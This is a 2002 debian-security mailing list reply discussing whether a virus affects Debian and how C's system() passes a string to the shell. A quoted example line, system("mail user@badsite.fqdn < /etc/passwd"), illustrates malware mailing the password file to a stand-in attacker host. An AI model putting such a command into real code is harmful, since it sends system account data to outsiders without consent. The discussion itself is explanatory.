[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: does virus ELF.OSF.8759 affect debian?



On Thu, Apr 18, 2002 at 11:02:12AM +1200, Tim Nicholas wrote:
> I think he is saying that it should be somthing more like
>         system("mail user@badsite.fqdn < /etc/passwd");
> 
> But since i dont really know c, you might not be able to use '<' in
> system calls... it seems likey though. The previous version would 
> try to email user /etc/passwd.

 For the record, system(3)'s manpage states:
system() executes a command specified in string by calling /bin/sh -c string
 The string you pass to system() is given as a single argument to the shell,
so you can do anything and everything.

 I think we all get the point :)

-- 
#define X(x,y) x##y
Peter Cordes ;  e-mail: X(peter@llama.nslug. , ns.ca)

"The gods confound the man who first found out how to distinguish the hours!
 Confound him, too, who in this place set up a sundial, to cut and hack
 my day so wretchedly into small pieces!" -- Plautus, 200 BCE


-- 
To UNSUBSCRIBE, email to debian-security-request@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



Reply to: